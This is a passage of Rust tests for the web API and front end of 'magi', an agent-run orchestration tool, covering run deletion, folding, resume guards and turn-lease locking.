19594 "deleting an older run must change the revision so other clients see the deletion"
19595 );
19596 }
19597
19598 fn write_state(runs: &FsPath, state: &RunState) {
19603 let dir = runs.join(&state.id);
19604 std::fs::create_dir_all(&dir).expect("run dir");
19605 std::fs::write(
19606 dir.join("run.json"),
19607 serde_json::to_string_pretty(state).expect("serialize run"),
19608 )
19609 .expect("write run.json");
19610 }
19611
19612 #[test]
19617 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
19618 let temp = TempDir::new().expect("tempdir");
19619 let runs = temp.path().join("runs");
19620 std::fs::create_dir_all(&runs).expect("create runs dir");
19621 let mut state = RunState::new(
19622 PathBuf::from("/repo/magi"),
19623 "main".to_owned(),
19624 "0123456789abcdef".to_owned(),
19625 "task".to_owned(),
19626 Config::default(),
19627 );
19628 state.id = "20260902-100000-c0de".to_owned();
19629 write_state(&runs, &state);
19630
19631 let rev_idle = runs_revision(&runs);
19632 std::thread::sleep(Duration::from_millis(10));
19633 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
19634 write_state(&runs, &state);
19635 let rev_started = runs_revision(&runs);
19636 assert_ne!(
19637 rev_idle, rev_started,
19638 "a seat starting must move the revision"
19639 );
19640
19641 std::thread::sleep(Duration::from_millis(10));
19642 state.seat_finished("judge-1");
19643 write_state(&runs, &state);
19644 let rev_finished = runs_revision(&runs);
19645 assert_ne!(
19646 rev_started, rev_finished,
19647 "and clearing it again must move the revision a second time"
19648 );
19649 }
19650
19651 #[tokio::test]
19652 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19653 let fx = Fixture::start().await;
19658 let q = fx.queue();
19659
19660 let mut t = Task::new(
19661 "Task".to_owned(),
19662 "Instruction".to_owned(),
19663 PathBuf::from("/repo"),
19664 Source::Human,
19665 );
19666 t.block(
19667 vec!["20260101-000000-dead".to_owned()],
19668 Some("waiting on Task 1".to_owned()),
19669 );
19670 t.answers.push(crate::queue::AnsweredQuestion {
19671 question: "Which backend?".to_owned(),
19672 answer: "SQLite".to_owned(),
19673 });
19674 q.put(&mut t).expect("put t");
19675
19676 let res = fx.get("/api/queue").await;
19677 assert_eq!(res.status, 200);
19678 let list = res.json();
19679 let view = list
19680 .as_array()
19681 .expect("array")
19682 .iter()
19683 .find(|v| v["id"] == t.id)
19684 .expect("task in list");
19685 assert_eq!(view["status_str"], "blocked");
19686 assert_eq!(
19687 view["blocked_by"],
19688 serde_json::json!(["20260101-000000-dead"])
19689 );
19690 assert_eq!(view["block_reason"], "waiting on Task 1");
19691 assert_eq!(view["answers"][0]["question"], "Which backend?");
19692 assert_eq!(view["answers"][0]["answer"], "SQLite");
19693
19694 let res = fx
19698 .post(&format!("/api/queue/{}/hold", t.short()), None)
19699 .await;
19700 assert_eq!(res.status, 200);
19701 let held = res.json();
19702 assert_eq!(held["status_str"], "held");
19703 assert_eq!(held["blocked_by"], serde_json::json!([]));
19704 assert!(held["block_reason"].is_null());
19705 assert_eq!(held["answers"][0]["answer"], "SQLite");
19706 }
19707
19708 #[tokio::test]
19709 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19710 let fx = Fixture::start().await;
19711 let q = fx.queue();
19712 let mk = |title: &str| {
19713 Task::new(
19714 title.to_owned(),
19715 "Instruction".to_owned(),
19716 PathBuf::from("/repo"),
19717 Source::Human,
19718 )
19719 };
19720 let mut root = mk("root");
19721 root.hold_manual(Some("waiting".to_owned()));
19722 q.put(&mut root).unwrap();
19723 let mut mid = mk("mid");
19724 mid.block(vec![root.id.clone()], None);
19725 q.put(&mut mid).unwrap();
19726 let mut leaf = mk("leaf");
19727 leaf.block(vec![mid.id.clone()], None);
19728 q.put(&mut leaf).unwrap();
19729
19730 let list = fx.get("/api/queue").await.json();
19731 let find = |id: &str| {
19732 list.as_array()
19733 .unwrap()
19734 .iter()
19735 .find(|v| v["id"] == id)
19736 .unwrap()
19737 .clone()
19738 };
19739 let leaf_view = find(&leaf.id);
19740 assert_eq!(
19741 leaf_view["waits_on"],
19742 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19743 );
19744 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19745 assert_eq!(
19746 find(&mid.id)["waits_on"],
19747 serde_json::json!([format!("{} (held)", root.short())])
19748 );
19749 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19750 }
19751
19752 #[tokio::test]
19753 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19754 let fx = Fixture::start().await;
19755 let q = fx.queue();
19756
19757 let mut t1 = Task::new(
19759 "Task 1".to_owned(),
19760 "Instruction 1".to_owned(),
19761 PathBuf::from("/repo"),
19762 Source::Human,
19763 );
19764 let run_id = "20260901-000000-r111";
19765 t1.runs.push(run_id.to_owned());
19766 write_run(&fx.runs(), run_id, RunStatus::Merged);
19767 q.put(&mut t1).expect("put t1");
19768
19769 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19771 assert_eq!(res.status, 204);
19772 assert!(res.body.is_empty(), "204 No Content has no body");
19773 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19774 assert!(
19775 fx.runs().join(run_id).exists(),
19776 "run directory must not be deleted when its task is deleted"
19777 );
19778
19779 let mut t2 = Task::new(
19781 "Task 2".to_owned(),
19782 "Instruction 2".to_owned(),
19783 PathBuf::from("/repo"),
19784 Source::Human,
19785 );
19786 t2.status = TaskStatus::Running;
19787 q.put(&mut t2).expect("put t2");
19788 let mut beat = crate::daemon::Status::new();
19789 beat.current = vec![crate::daemon::Current {
19790 task: t2.id.clone(),
19791 run: "20260901-000000-r222".to_owned(),
19792 }];
19793 beat.updated_at = jiff::Timestamp::now();
19794 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19795 .expect("publish a heartbeat");
19796 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19797 assert_eq!(res.status, 409);
19798 assert!(
19799 res.json()["error"]
19800 .as_str()
19801 .unwrap()
19802 .contains("live daemon")
19803 );
19804 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19805
19806 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19812 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19813 .expect("leave a stale heartbeat");
19814 let mut t3 = Task::new(
19815 "Task 3".to_owned(),
19816 "Instruction 3".to_owned(),
19817 PathBuf::from("/repo"),
19818 Source::Human,
19819 );
19820 t3.status = TaskStatus::Running;
19821 q.put(&mut t3).expect("put t3");
19822 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19823 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19824 assert_eq!(res.status, 204);
19825 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19826 assert!(
19827 q.claim(&t3.id).is_ok(),
19828 "the stale lock went with it, so the id is claimable again"
19829 );
19830
19831 let res = fx.delete("/api/queue/nonexistent").await;
19833 assert_eq!(res.status, 404);
19834 }
19835
19836 #[tokio::test]
19837 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19838 let fx = Fixture::start().await;
19839 let runs = fx.runs();
19840
19841 let run_id = "20260901-000000-fold";
19843 let mut state = RunState::new(
19844 PathBuf::from("/repo"),
19845 "main".to_owned(),
19846 "abc".to_owned(),
19847 "instruction".to_owned(),
19848 Config::default(),
19849 );
19850 state.id = run_id.to_owned();
19851 state.status = RunStatus::Merged;
19852 state.candidates.push(crate::run::Candidate {
19853 index: 0,
19854 label: 'A',
19855 agent: "a".to_owned(),
19856 branch: "b".to_owned(),
19857 worktree: PathBuf::from("/w"),
19858 summary: String::new(),
19859 stat: String::new(),
19860 files: 1,
19861 commits: 1,
19862 empty: false,
19863 failed: None,
19864 verified_noop: None,
19865 duration_ms: 0,
19866 folded: true,
19867 });
19868 let dir = runs.join(run_id);
19869 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19870 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19871 .expect("write artifact");
19872 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19873 .expect("write run.json");
19874
19875 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19877 assert_eq!(res.status, 204);
19878 assert!(res.body.is_empty(), "204 has no body");
19879 assert!(!dir.exists(), "run directory and artifacts must be deleted");
19880
19881 let run_running = "20260901-000000-rung";
19886 write_run(&runs, run_running, RunStatus::Prep);
19887 let mut beat = crate::daemon::Status::new();
19888 beat.current = vec![crate::daemon::Current {
19889 task: "20260901-000000-task".to_owned(),
19890 run: run_running.to_owned(),
19891 }];
19892 beat.updated_at = jiff::Timestamp::now();
19893 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19894 .expect("publish a heartbeat");
19895 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19896 assert_eq!(res.status, 409);
19897 assert!(
19898 res.json()["error"]
19899 .as_str()
19900 .unwrap()
19901 .contains("live daemon"),
19902 "the refusal must say who is holding it"
19903 );
19904 assert!(
19905 runs.join(run_running).exists(),
19906 "a run in flight keeps its directory"
19907 );
19908
19909 let run_unfolded = "20260901-000000-unfd";
19911 let mut state2 = RunState::new(
19912 PathBuf::from("/repo"),
19913 "main".to_owned(),
19914 "abc".to_owned(),
19915 "instruction".to_owned(),
19916 Config::default(),
19917 );
19918 state2.id = run_unfolded.to_owned();
19919 state2.status = RunStatus::Ready;
19920 state2.candidates.push(crate::run::Candidate {
19921 index: 0,
19922 label: 'A',
19923 agent: "a".to_owned(),
19924 branch: "b".to_owned(),
19925 worktree: PathBuf::from("/w"),
19926 summary: String::new(),
19927 stat: String::new(),
19928 files: 1,
19929 commits: 1,
19930 empty: false,
19931 failed: None,
19932 verified_noop: None,
19933 duration_ms: 0,
19934 folded: false,
19935 });
19936 let dir2 = runs.join(run_unfolded);
19937 std::fs::create_dir_all(&dir2).expect("create dir2");
19938 std::fs::write(
19939 dir2.join("run.json"),
19940 serde_json::to_string(&state2).unwrap(),
19941 )
19942 .expect("write run.json");
19943
19944 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19945 assert_eq!(res.status, 409);
19946 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19947 assert!(dir2.exists(), "unfolded run directory is kept");
19948
19949 let res = fx.delete("/api/runs/nonexistent").await;
19951 assert_eq!(res.status, 404);
19952 }
19953
19954 #[test]
19963 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19964 let start = APP_JS
19965 .find("function renderStats() {")
19966 .expect("renderStats");
19967 let end = start
19968 + APP_JS[start..]
19969 .find("function statsTile(")
19970 .expect("the next top-level function");
19971 let body = &APP_JS[start..end];
19972
19973 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19974 let gate_end = gate_start
19975 + body[gate_start..]
19976 .find("}\n renderStatsQueue")
19977 .expect("the gate's own closing brace, right before the unconditional call");
19978 let gated = &body[gate_start..gate_end];
19979
19980 assert_eq!(
19981 body.matches("renderStatsQueue(").count(),
19982 1,
19983 "renderStats must call renderStatsQueue exactly once: {body}"
19984 );
19985 assert!(
19986 !gated.contains("renderStatsQueue"),
19987 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19988 run-derived panels on an empty run history - the queue panel has to render \
19989 regardless: {gated}"
19990 );
19991 }
19992
19993 #[test]
19994 fn web_ui_delete_contract_in_front_end() {
19995 assert!(APP_JS.contains("deleteRun:"));
19997 assert!(APP_JS.contains("deleteTask:"));
19998
19999 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20001 ..APP_JS.find("function renderRuns").unwrap()];
20002 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20003
20004 assert!(APP_JS.contains("renderRunDelete"));
20006 assert!(APP_JS.contains("runDeleteReason"));
20007 assert!(APP_JS.contains("magi fold"));
20008 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20009
20010 assert!(APP_JS.contains("cancel.focus"));
20012 assert!(APP_JS.contains("armedRunDelete"));
20013 assert!(APP_JS.contains("renderTaskDeleteBox"));
20014 assert!(APP_JS.contains("armed${cap(key)}"));
20015
20016 assert!(APP_JS.contains("disabled: status === \"running\""));
20018 }
20019
20020 #[test]
20040 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20041 let build = APP_JS
20042 .find("function createRunCard")
20043 .expect("createRunCard exists");
20044 let update = APP_JS
20045 .find("function updateRunCard")
20046 .expect("updateRunCard exists");
20047 let end = APP_JS
20048 .find("function renderRuns")
20049 .expect("renderRuns exists");
20050
20051 let builder = &APP_JS[build..update];
20053 let open = builder.find("refs = {").expect("createRunCard sets refs");
20054 let literal = &builder[open + "refs = {".len()..];
20055 let close = literal.find('}').expect("the refs literal is closed");
20056 let published: HashSet<&str> = literal[..close]
20057 .split(',')
20058 .filter_map(|entry| entry.split(':').next())
20060 .map(str::trim)
20061 .filter(|name| !name.is_empty())
20062 .collect();
20063 assert!(
20064 published.len() > 5,
20065 "the refs literal did not parse into names: {published:?}"
20066 );
20067
20068 let mut used: Vec<&str> = Vec::new();
20071 let updaters = &APP_JS[update..end];
20072 for (at, _) in updaters.match_indices("r.") {
20073 let before = updaters[..at].chars().next_back();
20076 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
20077 continue;
20078 }
20079 let rest = &updaters[at + 2..];
20080 let len = rest
20081 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
20082 .unwrap_or(rest.len());
20083 if len > 0 {
20084 used.push(&rest[..len]);
20085 }
20086 }
20087 assert!(
20088 used.len() > 5,
20089 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
20090 );
20091
20092 let missing: Vec<&str> = used
20093 .iter()
20094 .copied()
20095 .filter(|name| !published.contains(name))
20096 .collect();
20097 assert!(
20098 missing.is_empty(),
20099 "a run card's updater reaches for {missing:?}, which `createRunCard` \
20100 never put in `refs` - every card will throw and the list will \
20101 render empty under a count line that says otherwise. Published: \
20102 {published:?}"
20103 );
20104 }
20105
20106 #[tokio::test]
20107 async fn folding_from_the_phone_reports_what_it_removed() {
20108 let fx = Fixture::start().await;
20109 let runs = fx.runs();
20110
20111 let id = "20260901-000000-fold";
20115 write_run(&runs, id, RunStatus::Stalled);
20116 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20117 assert_eq!(res.status, 200);
20118 assert_eq!(res.json()["removed_count"], 0);
20119 assert_eq!(res.json()["run"], id);
20120 assert!(
20121 runs.join(id).exists(),
20122 "a fold keeps the run's record; only the worktrees go"
20123 );
20124 }
20125
20126 #[tokio::test]
20127 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
20128 let fx = Fixture::start().await;
20129 let runs = fx.runs();
20130 let wt = fx.home.path().join("wt").join("magi").join("dead");
20131 let id = "20260901-000000-dead";
20132 std::fs::create_dir_all(runs.join(id)).expect("run dir");
20133 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20134 std::fs::create_dir_all(&wt).expect("worktree dir");
20135
20136 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20137 assert_eq!(res.status, 200, "{}", res.body);
20138 assert!(
20139 res.json()["removed_count"].as_u64().unwrap() > 0,
20140 "the worktree this build could not read a state for still went"
20141 );
20142 assert!(
20143 !runs.join(id).exists(),
20144 "an unreadable run has no candidate list to fold selectively, so \
20145 the whole record goes - same as `magi fold` on the CLI"
20146 );
20147 }
20148
20149 #[tokio::test]
20150 async fn deleting_an_unreadable_run_removes_it_wholesale() {
20151 let fx = Fixture::start().await;
20152 let runs = fx.runs();
20153 let wt = fx.home.path().join("wt").join("magi").join("gone");
20154 let id = "20260901-000000-gone";
20155 std::fs::create_dir_all(runs.join(id)).expect("run dir");
20156 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20157 std::fs::create_dir_all(&wt).expect("worktree dir");
20158
20159 let res = fx.delete(&format!("/api/runs/{id}")).await;
20160 assert_eq!(res.status, 204, "{}", res.body);
20161 assert!(!runs.join(id).exists(), "the broken record is gone");
20162 assert!(!wt.exists(), "its worktree is gone too");
20163 }
20164
20165 #[tokio::test]
20166 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
20167 let fx = Fixture::start().await;
20168 let runs = fx.runs();
20169 let id = "20260901-000000-live";
20170 write_run(&runs, id, RunStatus::Implementing);
20171
20172 let mut beat = crate::daemon::Status::new();
20173 beat.current = vec![crate::daemon::Current {
20174 task: "20260901-000000-task".to_owned(),
20175 run: id.to_owned(),
20176 }];
20177 beat.updated_at = jiff::Timestamp::now();
20178 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20179 .expect("publish a heartbeat");
20180
20181 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20182 assert_eq!(res.status, 409);
20183 assert!(
20184 res.json()["error"]
20185 .as_str()
20186 .unwrap()
20187 .contains("live daemon"),
20188 "folding under a running agent would pull its worktree away"
20189 );
20190 }
20191
20192 #[tokio::test]
20193 async fn fold_merged_requires_a_pr_url() {
20194 let fx = Fixture::start().await;
20195 let runs = fx.runs();
20196 let id = "20260901-000000-nourl";
20197 write_run(&runs, id, RunStatus::Blocked);
20198
20199 let res = fx
20200 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
20201 .await;
20202 assert_eq!(res.status, 400, "{}", res.body);
20203
20204 let blank = fx
20205 .post(
20206 &format!("/api/runs/{id}/fold-merged"),
20207 Some(r#"{"pr_url":" "}"#),
20208 )
20209 .await;
20210 assert_eq!(blank.status, 400, "{}", blank.body);
20211 }
20212
20213 #[tokio::test]
20214 async fn fold_merged_is_404_for_an_unknown_run() {
20215 let fx = Fixture::start().await;
20216 let res = fx
20217 .post(
20218 "/api/runs/nosuchrun/fold-merged",
20219 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20220 )
20221 .await;
20222 assert_eq!(res.status, 404, "{}", res.body);
20223 }
20224
20225 #[tokio::test]
20226 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
20227 let fx = Fixture::start().await;
20228 let runs = fx.runs();
20229 let id = "20260901-000000-livemerge";
20230 write_run(&runs, id, RunStatus::Blocked);
20231
20232 let mut beat = crate::daemon::Status::new();
20233 beat.current = vec![crate::daemon::Current {
20234 task: "20260901-000000-task".to_owned(),
20235 run: id.to_owned(),
20236 }];
20237 beat.updated_at = jiff::Timestamp::now();
20238 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20239 .expect("publish a heartbeat");
20240
20241 let res = fx
20242 .post(
20243 &format!("/api/runs/{id}/fold-merged"),
20244 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20245 )
20246 .await;
20247 assert_eq!(res.status, 409, "{}", res.body);
20248 assert!(
20249 res.json()["error"]
20250 .as_str()
20251 .unwrap()
20252 .contains("live daemon"),
20253 "correcting a run's merge underneath a running agent would race \
20254 whatever it is doing to the same `status`/`merge` fields"
20255 );
20256 }
20257
20258 #[tokio::test]
20263 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
20264 let fx = Fixture::start().await;
20265 let runs = fx.runs();
20266 let id = "20260901-000000-unconfirmed";
20267 write_run(&runs, id, RunStatus::Blocked);
20268
20269 let res = fx
20270 .post(
20271 &format!("/api/runs/{id}/fold-merged"),
20272 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20273 )
20274 .await;
20275 assert_eq!(res.status, 400, "{}", res.body);
20276 assert_eq!(
20277 read_run(&runs, id).unwrap().status,
20278 RunStatus::Blocked,
20279 "a pull request that could not be confirmed merged must leave \
20280 the run exactly where it was"
20281 );
20282 }
20283
20284 #[tokio::test]
20285 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
20286 let fx = Fixture::start().await;
20287 let runs = fx.runs();
20288
20289 for (status, word) in [
20295 (RunStatus::Merged, "merged"),
20296 (RunStatus::Ready, "ready"),
20297 (RunStatus::Failed, "failed"),
20298 ] {
20299 let id = format!("20260901-000000-{}", &word[..4]);
20300 write_run(&runs, &id, status);
20301 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
20302 assert_eq!(res.status, 409, "{word} must not be resumable");
20303 let err = res.json()["error"].as_str().unwrap().to_owned();
20304 assert!(err.contains(word), "the refusal names the status: {err}");
20305 }
20306
20307 let mid = "20260901-000000-midf";
20312 write_run(&runs, mid, RunStatus::Reviewing);
20313 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
20314 assert_eq!(res.status, 202, "an interrupted run is resumable");
20315 }
20316
20317 #[tokio::test]
20318 async fn resume_is_refused_while_the_loop_is_running() {
20319 let fx = Fixture::start().await;
20320 let runs = fx.runs();
20321 let stalled = "20260901-000000-stal";
20322 write_run(&runs, stalled, RunStatus::Stalled);
20323
20324 let mut beat = crate::daemon::Status::new();
20328 beat.current = vec![crate::daemon::Current {
20329 task: "20260901-000000-task".to_owned(),
20330 run: "20260901-000000-othr".to_owned(),
20331 }];
20332 beat.updated_at = jiff::Timestamp::now();
20333 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20334 .expect("publish a heartbeat");
20335
20336 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
20337 assert_eq!(res.status, 409);
20338 let err = res.json()["error"].as_str().unwrap().to_owned();
20339 assert!(err.contains("othr"), "it names what the loop is on: {err}");
20340 assert!(err.contains("stop it first"), "{err}");
20341 }
20342
20343 #[test]
20344 fn a_run_cannot_be_resumed_twice_at_once() {
20345 let home = TempDir::new().expect("temp home");
20346 let ui = Ui::new(
20347 Queue::at(home.path().join("queue")),
20348 Questions::at(home.path().join("questions")),
20349 Talks::at(home.path().join("talks")),
20350 home.path().join("runs"),
20351 home.path().to_path_buf(),
20352 PathBuf::from("/repo"),
20353 )
20354 .with_worktrees_root(home.path().join("wt"));
20355 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
20356 let again = ui.begin_resume("20260901-000000-once");
20357 assert!(again.is_err(), "a second tap must not start a second graph");
20358 drop(first);
20359 assert!(
20360 ui.begin_resume("20260901-000000-once").is_ok(),
20361 "and the claim is released when the attempt ends"
20362 );
20363 }
20364
20365 #[test]
20366 fn talk_thinking_tracks_only_its_held_turn_claim() {
20367 let home = TempDir::new().expect("temp home");
20368 let ui = Ui::new(
20369 Queue::at(home.path().join("queue")),
20370 Questions::at(home.path().join("questions")),
20371 Talks::at(home.path().join("talks")),
20372 home.path().join("runs"),
20373 home.path().to_path_buf(),
20374 PathBuf::from("/repo"),
20375 )
20376 .with_worktrees_root(home.path().join("wt"));
20377 let id = "20260901-000000-once";
20378
20379 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
20380 let turn = ui.begin_talk_turn(id).expect("claim turn");
20381 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
20382 assert!(
20383 !ui.is_thinking("20260901-000000-other"),
20384 "one talk's turn does not make another talk busy"
20385 );
20386 drop(turn);
20387 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
20388 }
20389
20390 #[test]
20391 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
20392 let home = TempDir::new().expect("temp home");
20393 let talks = Talks::at(home.path().join("talks"));
20394 let ui = Ui::new(
20395 Queue::at(home.path().join("queue")),
20396 Questions::at(home.path().join("questions")),
20397 talks.clone(),
20398 home.path().join("runs"),
20399 home.path().to_path_buf(),
20400 PathBuf::from("/repo"),
20401 )
20402 .with_worktrees_root(home.path().join("wt"));
20403 let id = "20260901-000000-cross";
20404
20405 let other = Talks::at(home.path().join("talks"))
20406 .claim_turn(id)
20407 .expect("claim")
20408 .expect("the other process wins");
20409 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
20410 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
20411 assert!(
20412 matches!(
20413 ui.begin_talk_turn_unless_pending(id).expect("start"),
20414 TalkTurnStart::Foreign
20415 ),
20416 "a foreign holder is refused, not queued behind"
20417 );
20418 assert!(
20419 !ui.talk_turns.lock().unwrap().live.contains(id),
20420 "a refused claim leaves no in-process entry behind"
20421 );
20422 drop(other);
20423 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
20424 assert!(talks.turn_held(id), "the web turn holds the lease");
20425 drop(turn);
20426 assert!(
20427 !talks.turn_held(id),
20428 "dropping the guard releases the lease"
20429 );
20430 }
20431
20432 fn consult_question(ui: &Ui) -> Question {
20433 let mut q = Question::new(
20434 "20260901-000000-consult".to_owned(),
20435 "implement".to_owned(),
20436 "impl-A".to_owned(),
20437 "Which backend?".to_owned(),
20438 String::new(),
20439 vec!["SQLite".to_owned(), "Redis".to_owned()],
20440 );
20441 ui.questions.put(&mut q).expect("question");
20442 q
20443 }
20444
20445 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
20446 (
20447 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
20448 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
20449 )
20450 }
20451
20452 #[tokio::test]
20453 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
20454 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20455 let q = consult_question(&ui);
20456 let talk = ui.talks.get(&id).expect("talk");
20457 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
20458 let before = consult_snapshot(&ui, &q, &id);
20459 let cli_talks = Talks::at(ui.home.join("talks"));
20460 assert_eq!(
20461 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
20462 .await
20463 .expect("CLI starter"),
20464 crate::consult::Started::Busy
20465 );
20466 assert_eq!(consult_snapshot(&ui, &q, &id), before);
20467 assert!(ui.is_thinking(&id));
20468 drop(guard);
20469 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
20470 }
20471
20472 #[tokio::test]
20473 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
20474 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20475 let q = consult_question(&ui);
20476 let talk = ui.talks.get(&id).expect("talk");
20477 let started = tmp.path().join("started");
20478 let release = tmp.path().join("release");
20479 let script = tmp.path().join("consult-agent.sh");
20480 std::fs::write(
20481 &script,
20482 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
20483 )
20484 .expect("script");
20485 let mut cfg = stub_config();
20486 cfg.agents[0].id = "mock".to_owned();
20487 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
20488 cfg.agents[0].env = std::collections::BTreeMap::from([
20489 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
20490 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
20491 ]);
20492 let questions = ui.questions.clone();
20493 let cli_talks = Talks::at(ui.home.join("talks"));
20494 let cli_q = q.clone();
20495 let turn = tokio::spawn(async move {
20496 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
20497 });
20498 let ready = tokio::time::timeout(Duration::from_secs(30), async {
20499 while !started.exists() {
20500 tokio::time::sleep(Duration::from_millis(10)).await;
20501 }
20502 })
20503 .await;
20504 let refusal = if ready.is_ok() {
20507 let before = consult_snapshot(&ui, &q, &id);
20508 let result = talk_say(
20509 State(Arc::clone(&ui)),
20510 Path(id.clone()),
20511 Ok(Json(NewTalkTurn {
20512 reply_to: None,
20513 text: "another message".to_owned(),
20514 attachments: Vec::new(),
20515 })),
20516 )
20517 .await;
20518 Some((result, before, consult_snapshot(&ui, &q, &id)))
20519 } else {
20520 None
20521 };
20522 std::fs::write(&release, "").expect("release agent");
20523 let done = turn.await.expect("join CLI turn");
20524 ready.expect("agent started before deadline");
20525 let (result, before, after) = refusal.expect("web request");
20526 let error = result.expect_err("web must refuse the CLI's turn");
20527 assert_eq!(error.status, StatusCode::CONFLICT);
20528 assert!(error.message.contains("a turn is already running"));
20529 assert_eq!(
20530 after, before,
20531 "refusal preserves question, draft and history"
20532 );
20533 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
20534 let guard = ui
20535 .begin_talk_turn(&id)
20536 .expect("web claim")
20537 .expect("free again");
20538 drop(guard);
20539 }
20540
20541 #[test]
20542 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
20543 let home = TempDir::new().expect("temp home");
20544 let talks = Talks::at(home.path().join("talks"));
20545 let ui = Ui::new(
20546 Queue::at(home.path().join("queue")),
20547 Questions::at(home.path().join("questions")),
20548 talks.clone(),
20549 home.path().join("runs"),
20550 home.path().to_path_buf(),
20551 PathBuf::from("/repo"),
20552 )
20553 .with_worktrees_root(home.path().join("wt"));
20554 let id = "20260901-000000-order";
20555 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20556 let slots = ui.talk_turns.lock().unwrap();
20558 let dropper = std::thread::spawn(move || drop(turn));
20559 let start = std::time::Instant::now();
20560 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
20561 std::thread::sleep(Duration::from_millis(5));
20562 }
20563 assert!(!talks.turn_held(id), "the lease is released first");
20564 assert!(slots.live.contains(id), "the slot is still held meanwhile");
20565 drop(slots);
20566 dropper.join().expect("join");
20567 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
20568 }
20569
20570 #[tokio::test]
20571 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
20572 let fx = Fixture::start().await;
20573 let mut beat = crate::daemon::Status::new();
20577 beat.pid = 4321;
20578 beat.updated_at = jiff::Timestamp::now();
20579 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
